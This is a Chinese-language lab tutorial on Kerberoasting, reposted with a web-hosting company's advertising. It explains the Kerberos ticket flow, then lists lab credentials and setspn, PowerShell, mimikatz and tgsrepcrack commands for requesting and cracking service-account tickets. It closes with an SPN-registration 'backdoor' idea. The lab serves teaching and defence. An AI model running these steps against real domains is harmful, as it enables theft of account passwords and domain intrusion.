重庆分公司,新征程启航
为企业提供网站建设、域名注册、服务器等服务
这期内容当中小编将会给大家带来有关Kerberoasting攻击的示例分析,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。
创新互联建站专注为客户提供全方位的互联网综合服务,包含不限于做网站、网站制作、凤山网络推广、微信小程序定制开发、凤山网络营销、凤山企业策划、凤山品牌公关、搜索引擎seo、人物专访、企业宣传片、企业代运营等,从售前售中售后,我们都将竭诚为您服务,您的肯定,是我们最大的嘉奖;创新互联建站为所有大学生创业者提供凤山建站搭建服务,24小时服务热线:18980820575,官方网址:www.cdcxhl.com
0x01介绍
当发布Windows 2000和Active Directory时,微软打算在 Windows NT 和Windows 95 上也支持Active Directory,这意味着不仅会产生各种各样的安全问题也会导致更多不安全的配置方式。同时,也意味着,微软要保证在多个不同版本的 Windows 客户端上均支持Kerberos协议。要实现这个想法的一个简单的办法就是在Kerberos协议中使用RC4加密算法,并将NTLM密码哈希作为该加密算法的私钥,该私钥可用于加密或签名Kerberos票证。因此,对于攻击者来说,一旦发现了 NTLM 密码哈希,就可以随意使用,包括重新拿回Active Directory域权限(比如:黄金票证和白银票证攻击)。
0x02 Kerberos通信流程
这里借鉴一下网上给出的Kerberos的通信流程
用户使用用户名和密码进行登录
1a.将原始的明文密码转换为NTLM哈希,再将这个哈希和时间戳一起加密。最后,将加密的结果作为身份验证者发送到KDC进行身份验证的票据(TGT)请求(AS-REQ)。
1b.域控(KDC)检查用户信息(登录限制,组成员等)并创建票证授权票证(Ticket Granting Ticket-TGT)。
2.将TGT加密,签名并返回给用户(AS-REP)。只有域中的Kerberos服务(KRBTGT)才能打开和读取TGT数据。
3.当用户请求票证授权服务(TGS)票证(TGS-REQ)时,会将TGT发送给DC。 DC打开TGT并验证PAC校验和 – 如果DC可以打开票证并且校验和也可以验证通过,那么这个TGT就是有效的。之后,复制TGT中的数据用于创建TGS票证。
4.使用目标服务帐户的NTLM密码哈希对TGS进行加密并将加密结果发送给用户(TGS-REP)。
5.用户连接到服务器托管的服务的相应端口上并发送TGS(AP-REQ)给服务器。被托管的服务会使用服务账户的NTLM密码哈希打开TGS票证。
6.如果客户端需要进行相互之间的身份验证(可以想想MS15-011:在2月份发布的强化UNC的组策略补丁)就会执行这一步。
在第四步的时候,用户将受到由目标服务实例的NTLM hash加密生成的TGS,他的加密算法为RC4-HMAC,那么我们在获得这个TGS后,便可以通过穷举的方式,生成TGS与它进行比较,如果相同,就可以代表密码正确
然后还有几点是需要大家明白的
1.当域控查询某一个服务的SPN时
如果该SPN注册在机器账户computers下,将会查询所有机器账户的servicePrincipalName属性,找到所对应的账户。
如果是注册在域用户账户users下,将会查询所有域用户账户的servicePrincipalName属性,找到其所对应的账户。
找到对应的账户之后,使用它的NTLM hash生成TGS。
2.域内的所有主机都是可以查询SPN的
3.域内的任何用户都是可以向域内的任何服务请求TGS
所以,域内的任何一台主机,都可以通过查询SPN,向域内的所有服务请求TGS,然后进行暴力破解,但是对于破解出的明文,只有域用户的是可以利用的,机器账户的不能用于远程连接,所以我们的关注点主要就在域用户下注册的SPN。
0x03 实验
首先我们先登陆服务器
域控
192.168.5.130
Administrator/secquan.org666
Win7
192.168.5.238
机器账号SECQUAN_WIN7-PC\secquan_win7
机器密码secquan.org666
域用户账号ZHUJIAN\win7
域用户密码secquan.org123
我们使用下列命令来进行查询
setspn -q */*
紧接着,我们来给域用户下的MSSQL服务注册SPN
setspn -A MSSQLSvc/SECQUAN_WIN7-PC.zhujian.com zhujian\win7
然后 请求SPN Kerberos Tickets
Add-Type -AssemblyName System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList " MSSQLSvc/SECQUAN_WIN7-PC.zhujian.com "
比之前多了一条,且加密类型是RC4-HMAC
然后使用mimikatz来导出票据
接下来便可以使用tgsrepcrack或者保存hash使用hashcat破解
这里我们使用tgsrepcrack来进行测试
python tgsrepcrack.py mima.txt 1-40a00000-win7@MSSQLSvc~SECQUAN_WIN7-PC.zhujian.com-ZHUJIAN.COM.kirbi
可以发现已经成功爆破得到密码
PS:使用其他工具的方法都是类似的,工具都一样,重点在字典上
0x04 kerberoasting后门利用
如果我们有了SPN的注册权限,我们就可以给指定的域用户注册一个SPN,然后获取到TGS,然后破解得到密码
上述就是小编为大家分享的Kerberoasting攻击的示例分析了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注创新互联行业资讯频道。